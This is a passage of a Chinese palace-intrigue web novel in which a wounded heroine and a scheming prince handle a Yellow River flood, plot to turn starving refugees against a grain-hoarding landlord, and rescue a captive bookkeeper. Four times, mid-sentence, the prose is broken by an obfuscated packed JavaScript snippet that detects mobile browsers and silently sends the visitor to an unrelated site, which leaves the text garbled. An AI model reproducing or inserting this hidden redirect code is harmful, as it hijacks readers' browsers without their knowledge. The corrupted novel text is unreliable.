这个男人,这个平日里心思深沉、喜怒不形于色的活阎王,此刻却毫不掩饰他的紧张与后怕。 "因为有些事情必须要当面跟你说。"高玥虚弱地开口,"关于决堤的事,我想到了一些解决方案......" ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16315863|182991||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 齐思铭简直要被她气笑了,他俯下身,指尖轻轻擦过她脸颊上干涸的血迹,说出的话却带着咬牙切齿:“解决方案?高玥,你看看你现在的样子,半条命都快没了,脑子里想的还是这种事情?本王是该夸你忠心,还是该把你这条腿打断,让你再也跑不出去?” 高玥虚弱一笑:“王爷若是觉得我多管闲事,大可不必听就是。” “本王是怕你累死!”齐思铭没好气地打断她,“黄河的事情,本王自有安排,还用不上现在这么虚弱的你来帮本王。” 高玥却摇了摇头,语气认真起来:“王爷,我知道你胸有大志,想要有一番作为。可如今太子在前,你想要出头,就必须拿出比他更好的方案,我只是想尽我所能,帮王爷分担一些。” 齐思铭微微眯起眼睛,似乎在重新评估着她。 高玥坦然地迎上他的目光,打趣道:“说不定日后我比太子还要能干,到时候王爷可不要过河拆桥才好。” 齐思铭缓缓俯下身,两人的距离瞬间被拉近,近到高玥能清晰的问道他身上淡淡地木质香,混杂着一丝不易察觉的血腥。 “过河拆桥?”他低声重复着这四个字,“你是不是忘了,你现在走的桥,就是本王造的。” 他的指腹从她的脸颊缓缓滑到下颌,轻轻捏住,迫使她抬头对上他那双极具压迫感的眸子。 “不要和本王谈条件。本王可以让你平步青云,也可以让你粉身碎骨。” 高玥的心莫名地漏了一拍,从以前她就知道,在这个男人面前,示弱是最无用的策略。 她忍着浑身的剧痛,扯出一个比哭还难看的笑容,“我当然知道这是王爷造的桥。可这桥若是不结实,走的人多了,也是会塌的。” “我只是想帮王爷把这桥修的更牢固些罢了。” “毕竟我现在可是王爷桥上的人,我可不希望还没走到对岸,这桥就塌了。” 四目相对,空气仿佛在这一瞬间凝固。 他眼中的审视几乎要将她刺穿。 不知过了多久,他眼中的阴霾渐渐散去,取而代之的是一种更为复杂的情绪。 他松开手,指尖若有若无地擦过她的唇瓣,狠狠地说道,“伶牙俐齿。” 他哼了一声,声音听不出喜怒。 “说吧,你准备怎么办。” 高玥深吸了一口气,认真地说道,“王爷,黄河决堤,于百姓是天灾,于朝廷是麻烦,但对于您……是天赐的良机。” “朝廷的赈灾银粮,要经过户部,地方官府,层层盘剥,等到了灾民手上,还能剩下几成?” “太子离得太远,而王爷您,可以离得很近。” 齐思铭的眼中闪过一丝玩味,“继续说。” “古人云,民心如磐石,社稷赖以安。太子殿下靠着如今的威望,看似稳固,实则如无根之木,风雨飘摇。王爷您要做的,不是与他争一时之长短,而是要去筑牢这社稷之根基。” 高玥说到这里,气息有些不稳,但依旧强撑着,一字一句地说道,“而现在,就是收拢民心,让天下人知道除了太子,还有您这位贤王的好时候。” 话音刚落,高玥便感觉到一阵脱力,身体不由自主地向后倒去。 齐思铭却忽然伸出手将她揽住。这突如其来的动作让高玥的身体猛地一僵。 “这么好的脑子,怎么就不知道爱惜自己的命?”高玥听到齐思铭在她耳边低低地说道。 “因为我知道,王爷会来。”高玥几乎是很自然地接上了话,说完连她自己都愣住了。 齐思铭的动作一顿。 他下意识地想说“你只是棋子罢了”,可是话到嘴边,却变成了一句,“你确实很有手段。” 他将她重新平放在床上,仔细掖好被角。 “把伤养好。”齐思铭站起身,恢复了往日的疏离。“本王要的,是你的脑子,不是你的命。” 他转身欲走,高玥却轻轻叫住了他。 “王爷。” 齐思铭脚步一顿,没有回头。 “这个世界上,想让王爷死的人很多,”她的声音很轻,但是每一个字都很清晰,“但至少,不包括我。” 齐思铭的背影在门口僵住了片刻,最终什么都没说,大步流星地离开了。 房间内,似乎还残留着他身上淡淡的木质香,丝丝缕缕将她全部包围。 她看着空无一人的房间,嘴角勾起一抹虚弱却得意的笑容。 16. 一念心魔一念卿 接下来的几日,齐思铭几乎是寸步不离地守在高玥身边。 这日,王友收到一份密报,火烧眉毛地要找齐思铭,却被拦在了院外。 “王侍卫,请留步。”一个侍卫拦下了他。 “让开,我有十万火急的事情要跟王爷禀报,耽误了你担待不起!” “王爷有令,任何人不得入内打扰。”那个侍卫面露难色,嘴上却寸步不让,“天大的事,也得在外面等着。” “你疯了吧。”王友懒得废话,拨开他就往院中走。 “哎……”还没等那个侍卫说话,王友看到院内的景象,自己先僵住了。 只见自家那位能在朝堂上搅弄风云的“活阎王”,此刻正极不雅观地蹲在一个小小的药炉旁边。 齐思铭一手有些生疏地摇着蒲扇,另一只手则时不时地掀起药罐盖子,探头观察里面的药汤,专注地像是在研究什么军事机密,全然不见平日里半分的阴鹜。 王友张了张嘴,那个“急”字,就这么死死地卡在喉咙里,吐了半天都没吐出来。 他跟在王爷身边多年,见过他谈笑间定人生死,也见过他面对皇帝的猜忌时那份深不见底的沉稳。 可他从未见过王爷沾染这人间烟火,更别说像个寻常人家的夫君一样,为个女人洗手作羹汤,他甚至觉得,若是此刻天塌下来,自家的主子恐怕也只会先顾着那炉子上的药。 由于这个景象实在是太过于诡异,王友一个没忍住,“噗嗤”一声笑了出来。 摇着蒲扇的齐思铭动作一顿,缓缓转过头,沾着黑灰的脸上看不清喜怒。 王友一个激灵,瞬间回神,差点当场给自己一个嘴巴子,“王爷赎罪!属下失仪,属下罪该万死!” 齐思铭轻哼一声,收回目光,重新看向药炉:“行了,起来吧。下次再这么大惊小怪,就去伙房烧一个月的柴。” 高玥靠在床头,看着齐思铭端着漆黑的药汁走进来,小心翼翼地吹凉,心中虽是有些感动,但又有些说不出的别扭。 “张嘴。”齐思铭的声音一如既往的低沉,却少了几分往日的清冷。 她见过齐思铭意气风发的样子,也见过他因为受挫而内心惆怅的样子,但是现在的这样…… 高玥看着悬在唇边的勺子,又看了看齐思铭那张沾着黑灰的脸,以及那双此刻写满“认真”的眼神,只觉得浑身都不自在起来。 这画面实在太过诡异,她下意识地往后缩了缩。 齐思铭敏锐的观察到了这个细小的动作,眉头皱得更深了些。 “怎么,是嫌我熬的不好?” “不……不是!”高玥连连摆手,伸手想要去拿那个勺子,“王爷,这种小事还是让我自己来吧,怎么干劳烦您呢?呵呵。” 她刻意用上了“您”这个敬称,试图拉开距离,好让自己心里不那么别扭。 齐思铭的目光在她脸上停留了片刻,似乎是想从她脸上看出些什么,最终他没再坚持,只是哼了一声,将碗递到了她手里。 “趁热喝,一滴都不许剩。” 他虽然松了手,但是却没有急着离开,而是随意拿起一本书,坦然地看了起来。 月光洒进屋内,却驱不散高玥心头的阴霾。 被追杀时的血腥场面,那个大汉倒地时错愕的眼神,都成了高玥挥之不去的梦魇,在她脑海里一遍一遍地上演。 “睡不着?”齐思铭的声音在房间里响起,他一直没走,只是静静地坐在不远处的椅子上。 高玥点了点头,答非所问地说道:“那是我第一次杀人。” 她并非嗜血残暴之人,那一刺不过是求生的本能,可却成了压在她心头的一块巨石。 齐思铭沉默片刻,起身走到她床边坐下,不知怎么的,高玥觉得此刻他的侧脸柔和了许多。 他却缓缓说了一个众所周知的秘密: “想必你也知道,我虽姓齐,却与当今陛下并无血缘。” 他的声音低沉,带着一丝遥远的哀伤,“皇城被攻破那日,我亲眼看着母亲死在我面前,而周围的士兵,下一个要杀的就是我。” “那一刻,我也不知道自己哪里来的勇气,拾起了身边的一把剑。他们以为我只是个孩子,就算我手持武器,他们的内心也是看不起我的。”他看向高玥,眼神仿佛一把利刃,突然笑了,“可是,哪怕是孩童,人在绝境的时候,也是会反击的。” 他想起了那个士兵倒下时候的那个眼神,不可置信。 “谁生来就想杀人?若非这世道逼人,谁又想去做那个恶人?” 齐思铭的声音很轻,高玥怔怔的看着他,她突然意识到,这个平日里让她担惊受怕的男人,第一次在他面前亲手揭开自己的伤疤。 “你当时不害怕吗?” 齐思铭的嘴角勾起一抹极淡的微笑,“当然害怕。那个时候我才多大?那把剑比我的人还高。” “但我更怕死,怕我像我的母亲一样,连一句遗言都来不及说,就倒在血泊中。” “所以,你不用觉得有任何负担。”他伸出手,将她的脸上一缕青丝拨到耳后,“你杀他,是为了能活下来,你应当庆幸,为了自己还活着而庆幸。” 高玥静静地听着,脑子里却不合时宜地想起了另一件事。 那一箭,从背后射穿她身体的情景,依旧清晰得可怕。 原来,他那份深入骨髓的阴狠与决绝并非与生俱来,她仿佛能看到,一个孤立无援的男孩,在尸山血海中,握着一柄比自己还高的剑,在绝境中重生的画面。 当今的那个男人,亲手覆灭了他的国家,杀了他的至亲,却又奇迹般地放过了他,虚伪地给了他一个姓氏,一个王爷的虚名,然后将他永远困在自己的身边,每日像是看着一个活着的战利品。 这是何等的讽刺。 让他认贼作父,顶着仇人的姓氏,在仇人的眼皮子底下步步为营地活下去。 怪不得他会变成如今这个样子。 高玥没有追问,只是觉得眼皮越来越沉,她昏昏沉沉地睡去。 梦里,那个被她杀死的壮汉又出现了,浑身是血地向她走来,嘴里不停地咒骂着,说要拉她一起下地狱。 梦中的她怕得浑身发抖,转身就跑。 可无论她跑到哪里,那个血人总能追上她,恐惧像一只手扼住了她的心脏,让她几乎窒息。 就在她以为自己要被拖入无边地狱时,齐思铭的声音突然在耳边响起:“若非这世道逼人,谁又愿意去做那个恶人?” 是啊,她只是想活下去而已,有什么错呢? 这个念头一闪而过,高玥猛地停下脚步。 她转过身,直视着那个步步紧逼的血人,她知道,那血人是她的心魔。 “我不想杀你,是你逼我的!”高玥大声喊道,声音里带着颤抖,却又无比坚定。 “我只是想活下去,我有错吗!” 随着她喊出这句话,那血人的身影也开始变得透明,可憎的五官也渐渐消散。 在血人消散的那一刻,高玥仿佛看到齐思铭站在一片光芒之中,对着她缓缓伸出了手。 高玥从梦中惊醒,她环顾四周,房中只有她一人,原本的熏香不知何时被换成了有安神效果的梨香,淡淡的香气让她紧绷的神经放松下来。 她握了握拳头,估摸着身体恢复了不少,便披上外衣,想出门呼吸些新鲜空气。 刚走到院中,她便听到不远处一间屋子里传出了说话的声音。 她鬼使神差地走了过去,正好听到一个人在向齐思铭禀报。 “王爷,行宫传来消息,黄河决堤,圣驾被困,一时半会儿怕是回不来了。陛下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16315864|182991||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 口谕,命您暂代河北一切事务。” 高玥的心沉了下去。 暂代河北事务,听起来是委以重任,可如今河北灾情严重,百废待兴,这就是个烫手的山芋。 做得好,是皇帝领导有方;做得不好,齐思铭就要背上一个办事不力的罪名。 齐思铭看似手握重权,可终究不过是皇帝手中的一随时可以舍弃的棋子。 果然,齐思铭沉默了许久。 良久,才传来他低沉的声音:“知道了。” 接着,另一个人犹豫着开口:“王爷,黄河决堤,南北水运之事只能搁置,之前筹措的资金,已悉数投入赈灾。 可这次灾情实在严重,灾民的房屋田地尽毁,存粮也快见底了……” 齐思铭的声音透着疲惫:“此事,我会想办法。” 这确实是迫在眉睫的问题,高玥心想。 必须先去外面摸清灾情的具体情况,才能对症下药。 就在她刚准备转身离开,屋内的人突然察觉到了外面的动静。 “谁!” 只那一瞬,一柄短剑破窗而出,稳稳地钉在了她身侧的廊柱上。 高玥吓得心脏都停跳了半拍。 房门“吱呀”一声打开,齐思铭脸色阴沉地走了出来,当他看清是高玥时,脸上的神色变了几变。 “你怎么自己跑出来了!”他表情严肃地说道,“还好我察觉到是你,若是这剑射偏了,你还想回宫吗?!” 高玥拍了拍胸口,却还是挤出一个笑容:“知道啦知道啦,下次我会注意的,王爷不会要怪我偷听你们谈事吧?” 齐思铭脸上的神色缓和了些,似乎想起了什么,又补充道:“之前追杀你的人,有眉目了。是城外的一伙土匪。” “不是土匪。”高玥摇了摇头,她心中早已有了猜测。 齐思铭的眼神又冷了下去:“是与不是,都无所谓,我派人把他们都杀了便是。” 高玥的脑壳有些作痛,这人怎么回事,张口闭口就是杀人。 不过还好,跟他相处久了,她也逐渐习惯了他这种处事方式,自从昨夜听他讲了那些过往后,她对他这种狠厉倒也多了几分说不清道不明的理解。 “他们也只是受人指示罢了。”高玥说,“此事我心中已有对策。眼下还是那些灾民要紧。” 话音刚落,高玥突然“哎呀”了一声,一手扶住额头,身子轻飘飘地晃了晃,顺势就要往地上倒去。 齐思铭眼疾手快,一个箭步上前,稳稳地将她揽入怀中。 “怎么了?是不是伤口又疼了?” 高玥顺势靠在他怀里,虚弱地说道:“我的身体,可能不太适应这里的药。” 齐思铭以为她说的是河北水土不服,皱眉道:“等你好些,我便派人送你回宫。” “不是的,”高玥急忙解释,“是这边大夫开的药方,可能不太对症。” 她心里嘀咕,自己受了这么重的外伤,不开些消炎猛药,净开些安神补气的,得喝到猴年马月? 她心念一动,偷偷用系统积分兑换了一张对症的中药药方,从袖中取出,递给齐思铭。 齐思铭接过那张药方,端详了许久,才抬眼看她:“我倒是没听过你还精通医理。” 高玥讪讪地笑了笑,扯了个谎:“之前在宫中闲来无事,跟太医学过几招皮毛。” 齐思铭又低头看了看,发现药方上的药材虽然有些不常见,但单拎出来确实都是有助于伤口愈合,活血化瘀。 他将药方收好,对高玥说道:“我会吩咐王友去抓药的,你快回去歇着。” “我想让你陪我去。”高玥拉住他的衣袖,仰起脸看他,声音放软了些,“我都在床上躺得快发霉了,也该出去走走了。” 他拗不过她,终是叹了口气,点了点头。 17. 朱门酒肉臭 路有冻死骨 两个人刚走出府,一股混杂着腐烂味的腥臭便扑面而来。 街道早已不成样子,原本的青石板路被黄泥覆盖,高玥才走了几步,脚下的绣花鞋便彻底遭殃。 这与她记忆中,或是说,与史书资料里那个商贾云集、繁华富庶的河北,判若两地。 街道两旁,店铺门板紧闭,街上没有行人,只有衣衫褴褛、面黄肌瘦的灾民,他们蜷缩在屋檐下,眼神空洞地望着阴沉的天空,早已了无生气。 齐思铭走在她身侧,脸色比刚刚在院中时更加阴沉,他看着满目疮痍,眉头紧紧索成了一个“川”字。 他似乎察觉到了高玥的异常,下意识地放慢了脚步,将她往揽到街道内侧,用自己的身体隔开了那些踉跄的灾民。 高玥抬眼看他紧绷的侧脸,在这片狼藉之中,他的身姿依旧挺拔,只是那双总是阴郁的双眼,此刻却染上了一层更为浓厚的阴沉。 他们走到城中最大的药铺“仁和堂”前。 只见“仁和堂”的招牌歪歪斜斜地挂着,上面蒙了一层厚厚的灰尘,大门紧锁。 只见门口一个骨瘦如柴的中年男人正靠在药铺前的石狮上,他看到齐思铭一行人衣着不凡,刚想挣扎着站起来,却因为长时间的饥饿无力的又滑了下去。 “店家,为何不开门?” 那男人瞥了一眼齐思铭,扯出一个比哭还难看的笑容。 “开门?开什么门?客官,您看看这满城的人,都是我的客人,你让我我拿什么卖给他们?”他指了指自己破烂的衣衫,“实不相瞒,我就是这仁和堂的掌柜,如今连我自己都成了灾民。” 齐思铭的脸色愈发阴沉,他没有再说话,而是转身沿着街道向里走。 高玥默默跟在他身后,越往里走,景象越是惨不忍睹。 这里已经不能称之为街道,这分明就是人间炼狱。 积着污水的坑洼里,几个孩子正围着什么东西疯抢。 “我的!是我的!”其中一个女孩尖叫着,指甲嵌入另一个女孩的手臂,划出几道触目惊心的血痕。 而被她抓的那个女孩像是没有感觉到疼痛一样,张嘴就去咬对方的肩膀。 她们的脸上满是污泥,早已看不出原本的模样。 终于,那个年级稍大一点的女孩凭借着一丝力气将馒头抢到了手,她甚至都来不及拍掉上面的泥土,就迫不及待地往嘴里塞。 没抢到的那个女孩像疯了一般扑上去,狠狠咬住那只抓着馒头的手。 随即是尖锐的惨叫。 高玥的呼吸停滞了,她下意识地看向齐思铭。 但他只是静静地站在那里,面无表情,一双幽深的眸子中翻涌着山雨欲来前的风暴。 他忽然转身,一字一顿地对王友说道:“去查,城中最大的乡绅是谁。” 王友一愣,随即领命而去。 齐思铭的目光扫过高玥,声音没有一丝温度:“回府。” 高玥知道,一头猛兽被唤醒了。 回到府中不过半个时辰,王友便带回了消息。 “王爷,城中乡绅以王员外为首,据说他在城郊还有百亩良田。” “那药材呢?”齐思铭问道。 “问过了,城中药材早就被搜刮一空,都说王员外家中有囤积,但谁也没见过。” 齐思铭轻笑了一声,那笑容看得人脊背发凉。“备马,调集三百亲卫,随本王去员外府上‘取’药。” 他用的是“取”,而非“借”或“买”。 直接带兵包围,以最高效的方式解决问题,这很符合他的风格。 就在此时,系统的提示音毫无征兆地响起。 【检测到关键剧情节点,触发隐藏信息】 【地点:王员外府邸。】 【目标:府邸地下密室中,除大量囤积的珍贵药材外,另有官粮五百石。】 【系统建议:将“侵吞赈灾粮”的罪名公之于众,将王员外的个人行为上升为动摇国本的重罪,可极大提升目标对象在河北的声望。】 高玥的瞳孔骤然收缩。 官粮五百旦! 这足够多少流民三个月的吃食了,这王员外竟然私藏在家中! 这可比囤积药材的罪名要重上千百倍。 在灾情如此严重的情况下,这无异于欺君! 齐思铭刚准备出发,高玥快步上前,拦住了他。 “王爷请慢!” 高玥压低了声音,语速极快,吐字却异常清晰:“我刚刚得到消息,王员外的地下室里,除了药材,还藏着本该发给灾民的五百石粮食。” 齐思铭的脚步停住了。 他猛地转头,却意外的没有问她消息的来源。 空气仿佛凝固了。 一时间高玥也找不到合适的解释理由,只得重复地加重了语气,“是真的!” “我相信你。”他没有说其他的话,也没有进一步的询问,单是这四个字,就已经给高玥吃了一颗定心丸。 他的眼中取而代之的是一种更为深沉的目光。 “很好。”齐思铭缓缓吐出两个字,然后对王友下令,“所有人,原地待命。” 他转身回到桌案前,重新坐下,指尖在桌面上轻轻敲击,发出规律的声响。 一场远比直接抄家更为血腥的计划,正在他脑中成型。 夜深了。 高玥的屋中里只点了一盏灯,火光将两人的影子拉得长长的,投在墙上交织在一起。 齐思铭平静地开口。 “他必须死,但不能死在本王手里。” 高玥知道齐思铭指的是王员外,她静静地听着,没有插话。 “水能载舟,亦能覆舟。”齐思铭的语调没有丝毫波澜,仿佛在说一件与自己无关的事情,“他死得越惨,越能震慑那些藏在暗处的老鼠。” 他抬眼看向高玥。 “明天一早,我会派人去城中散布消息,就说王员外囤积了大量药材和粮食,但只肯高价卖给富人,对穷苦百姓见死不救。” “王友,”他转向门外,“去找几个看起来最惨的灾民,给他们一些银子,让他们去王员外家门口闹,就说家人病重,王员外不肯施药。记住,要让他们哭得真,闹得大。” “最后,”他的手指在桌面上重重一点,“当城中所有饿着肚子等死的人,都知道有一个人囤积着可以救命的药材,却见死不救时,你猜他们会做什么?” 高玥感到一阵寒意从脚底升起,瞬间窜遍全身。 她知道答案。 “他们会去抢。” “对。”齐思铭的嘴角终于有了一丝笑意,“他们会像疯了一样冲向王员外,砸开他的大门,抢走他的一切。 而本王 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16315865|182991||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的人,会在最合适的时候出现,以维持秩序的名义封锁员外府,然后“意外”地发现那个藏着官粮的地下室……” 齐思铭没有再说下去。 但是高玥已经知道了结果。 “届时,人证物证俱在,王员外侵吞赈灾粮、草菅人命的罪名就成了铁案。他是被愤怒的灾民活活打死的,与齐思铭毫无关系,他甚至可以收获一个斩奸除恶的美名。” 高玥的心脏在胸腔里剧烈地跳动着。 齐思铭的计划,每一步都精准地计算了人性中最黑暗的一面。 绝望、愤怒、贪婪。 他将灾民的痛苦当做武器,将他们的愤怒化为利刃,去杀死另一个罪人。 好一场完美的“借刀杀人”。 与其说是刀,不如说是火苗。 星星之火,可以燎原,也可以彻底点燃百姓的愤怒与不甘。 高玥感到一种生理性的不适。 这个男人,可以为你煲汤熬药,可以在你最煎熬的时候告诉你撑下去,也可以微笑着跟你谈论如何轻松地掀起一场暴动。 他刚刚谈论如何将一个人置于死地的时候,就仿佛在讨论天气情况那样自然。 但…… 她脑海中浮现出那两个在泥水里抢夺发霉馒头的小女孩,浮现出那些躺在街边奄奄一息的灾民。 他是错的吗? 在她的认知里,就算是一个人有错,也要用法律的流程将他制裁,这是大错特错。 可这是乱世,谁又与你讲道理呢? 这已经是最快,最有效,能拯救最多人的办法了。 跟朝廷上报,等批文下来,黄花菜都凉了。 王员外这样的人,走正常的流程,最后说不定只是自罚三杯。 只有用雷霆手段,用最血腥的方式,才能瞬间炸开河北这潭死水,震慑所有心怀鬼胎的人。 高玥抬起头,迎上齐思铭探究的目光。 他在等她的反应,或许,他是在等她指责,她的不认同。 她深吸一口气,压下心中的翻腾。 她看着齐思铭,看着这个在黑暗中独行了太久的男人。 这一次,她选择与他同行。 “我明白了。”高玥的声音很轻,却异常坚定,“王友做事细心,我会让他去办。人证方面,你不用担心,外面随便拉一个,谁不是家破人亡,流离失所,这样的人,根本无需伪装。” 齐思铭眼中的探究,逐渐转化为一丝不易察觉的惊讶,随即又被更深沉的情绪所取代。 他以为她会害怕,会退缩,会用那些所谓的仁义道德来劝说他。 她没有。 她只是平静地接受了这一切,甚至还为他的计划补充了最关键的细节。 “我以为你会……”齐思铭想要找一个合适的词,却最终没有说出口,只是看向对面的人。 高玥忽然笑了,她对向他的目光,不避不闪,“怕你?” 齐思铭的呼吸一滞。 “那王爷……你是希望我回答怕你,还是希望我劝你?” 他喉咙微动,原本想说的话尽数堵在了喉间。 良久,他才从唇边发出一声低不可闻的叹息,像是无奈,又像是某种释然。 “我希望你……”他声音压得更低,带着一丝连自己都未曾察觉的乞求,“……别怕我。” 18. 火中取栗问真心 一堵高墙,隔出两个世界。 墙内,歌舞升平,酒气熏天,是人间富贵乡。 墙外,夜风阴冷,只有饥民喉咙里压抑的吞咽声。 他们眼中泛着绿光,好似荒野中的野狼。 高墙之上,一处隐蔽的角落,齐思铭与高玥并肩而立,冷眼旁观着墙内的景象。 看着墙内一片奢靡的样子,屋外的饥民却每日在饥饿的边缘挣扎,高玥不禁攥起了拳头。 “怕吗?”齐思铭的声音很轻,但目光却始终没有离开下方那座歌舞升平的别院。 高玥深吸一口气,强行压下心头的不适。 她不是没见过世面的姑娘,可眼前的一切都太过真实,那些饥民眼里的恨意,官员脸上泛着的油光,都让她胃里一阵不适。 她的身体控制不住地发抖,但吐出的话语却冰冷而又决绝:“他们活该。” 齐思铭侧脸看她,夜色中的那双眼睛亮得惊人。 他没有说话,只是伸出手,将她冰冷的手握入自己温热的掌心。 他的手很热,带着一股不容置疑的力量,瞬间抚平了高玥心中的一丝慌乱。 “好戏才刚开始。”他低声说道,“接下来,我们要去取一样东西。” “你要的不是账本?”高玥一愣,压低声音问道。 “纸上的账目,烧了便烧了。”齐思铭毫不在意地说道,“我要的,是个活的账本。” “我得到情报,这群人的背后,有个“操盘手”,但凡见不得光的银钱往来,都经他一人之手。 而这个人,比任何账簿都重要。今天这场戏,不过是为他搭的台子罢了。” 话音未落,下方积蓄已久终于爆发。 “开门,给我们粮食!” 不知是谁先吼出了第一声,那声音嘶哑的如同干涸的湖塘,却瞬间点燃了所有人心中的怒火。 “开门!” “王扒皮!还我命来!” “抓紧我。”在大门被灾民撞开的那一刻,齐思铭拉着高玥的手,身形一晃便从飞檐滑下,几个闪身便融入了墙角的阴影。 早已在此等候的黑衣部下迅速跟上,一行人趁着所有人的注意力都饥民的骚乱吸引,悄无声息地从侧墙潜入了混乱的别院。 院内已是一片狼藉。 精致的瓷器摔得满地狼藉,平日里作威作福的官员们此刻抱头鼠窜,被愤怒的灾民追打,狼狈不堪。 齐思铭的部下们迅速散开,在混乱中搜寻着那个齐思铭口中的那个“活账本”。 结果却是一无所获。 整个别院翻了个底朝天,除了哭爹喊娘的贪官和同样吓破了胆的家眷,根本没有其他可疑之人。 王友匆匆回报:“王爷,都找遍了,没发现可疑的人。后院倒是有个柴房,但里面是空的。” 齐思铭眉头微蹙,阴冷的目光扫过院中一片狼藉。 高玥的心也开始打鼓。 难道情报有误? 不对。 既然齐思铭说这个人极其重要,那这些人必然会把他藏在最安全,最让人意想不到的地方。 安全…… 意想不到…… 她的目光飞快地扫过整个院子。 主厅,厢房,花园……这些地方都太过显眼,一定不会是藏身的地方。 她的视线最终落在了主厅内一处看似寻常的书房。 一个念头在高玥的脑中闪过。 最危险的地方,往往就是最安全的地方,如果要把一个人囚禁起来,又要让他帮他们干事,那什么地方最合适? 她快步走到书房,书房正中间摆着一张紫檀木大案,几个花瓶东倒西歪。 墨汁泼洒得到处都是,在光滑的青石地砖上,凝成一滩滩形状不规则的深色印记,空气中弥漫着墨汁的气味。 她的视线掠过那些墨渍,不对劲。 大部分地方的墨汁,只是单纯地泼洒在地面上,边缘清晰。 可就在书案底下的一个角落,那里的墨色却截然不同。那块没有在青石板上形成一滩,而是像滴入宣纸般,缓缓地朝着一个方向渗透,那处颜色也比别处更深,仿佛被什么东西给吸了进去。 她蹲下身,不顾裙摆沾上墨汁,伸手敲了敲地砖,那青石板严丝合缝,表面上看不出任何异样。 “这里没有。”一名部下检查后说。 高玥没有放弃。 她的指尖沿着石板的缝隙缓缓划过,系统面板在她眼前闪过一行提示,但她此刻已经完全没心思去看。 她的全部注意力都集中在了那块地砖上。 当她的手指划过书案正下方的一块石板时,果然,她感到了一丝极其微弱的松动。 她忽然明白了什么,示意齐思铭的部下合力将书案移开。 书案被挪开后,露出了下方的石板。 高玥指了指刚才发现松动的地方,轻轻地按了一下。 只听“咔哒”一声轻响,那块石板竟然向下沉了半寸,旁边一块完整的石板则无声地滑开,露出了一个黑漆漆的洞口,一股潮湿腐朽的气味扑面而来。 齐思铭朝高玥点了点头,率先走下石阶。 这个地方与其说是地下室,不如说是个囚笼。 空间狭小,空气污浊,一个年轻人正背对着入口蹲在地上,借着微弱的光,冷静地将一卷卷账册整理成堆,他的身边是一个燃着炭火的铜盆。 他衣衫褴褛,头发散乱,但动作有条不紊,仿佛外面的狼藉都与他毫无关系。 听到身后的动静,那个年轻人猛地回头,眼中迸射出警惕而锐利的光芒。 他迅速抓起身边的账册,作势要丢进火盆。 “苏青。” 齐思铭开口了,声音平静得没有一丝波澜,但这两个字却像一记重锤,狠狠砸在了年轻人的心上。 他露出了震惊的神情。 “苏青,字伯言。前朝御史苏建安独子。三年前苏家蒙冤,你隐姓埋名流落河北,凭一手算学本事活命,如今却被关在这里,为你杀父仇人的党羽做假账。” 这个经历,怎么这么像…… 高玥猛地看了一眼齐思铭,却看到齐思铭一步步走近,每说一句,那个年轻人的脸色就苍白一分。 当最后一句“我说的,对吗?”落下时,苏青握着账册的手剧烈地颤抖起来,眼中满是难以置信。 高玥站在齐思铭身后,也为这番话的威力而心惊。 短短的几句话,便传达了一个清晰的消息:你以为我是偶然发现的你?不,我是专门为你而来,我知道你所有的过去。 它更暗示着:我既然有能力知道,我也有能力为你翻案。 苏青死死地盯着齐思铭,他猛地站起身,将账册护在身后,抓起桌上的短刃对准他。 “你们是谁?”他的声音沙哑,“皇后的?还是其他哪位王爷的?不管你们是谁,都休想从我这里得到任何东西!” 齐思铭并不意外他的反应,只是静静地看着他,眼神里甚至带上了一丝怜悯。 “你以为你还走得出去?外面是愤怒的灾民,他们不会问你是谁,只会把你当成这些人的同伙。 你留在这里,只会是死路一条。” 齐思铭顿了顿,声音依旧平稳,夹杂着一丝蛊惑人心的味道。 “跟我走,我不能保证你荣华富贵,但我能给你一个机会,亲手把当年那些人的账,一笔一笔,算回来。” 亲手算账。 这四个字,宛若一把利剑,刺在他的胸口,苏青犹豫了。 他不是不想报仇,而是不能。 他背负着血海深仇,却只能像阴沟里的老鼠一样,为仇人的爪牙效力,苟延残喘。 眼前的这个人没有说“我帮你报仇”,而是把复仇的主动权,交还到了他的手上。 这精准地击中了一个读书人内心最深的渴望。 外面传来的惨叫声越来越近,苏青的额头渗出冷汗,他看着眼前这个器宇轩昂的男人,又看了看他身边那个美得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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果然,刚刚的只是她的幻觉罢了。 说完,他轻嗤了一声,松开了她,但那只手却强势地捉住她的手腕。 “走。” 一个字,利落地仿佛刚刚的亲密接触只是幻觉。 …… 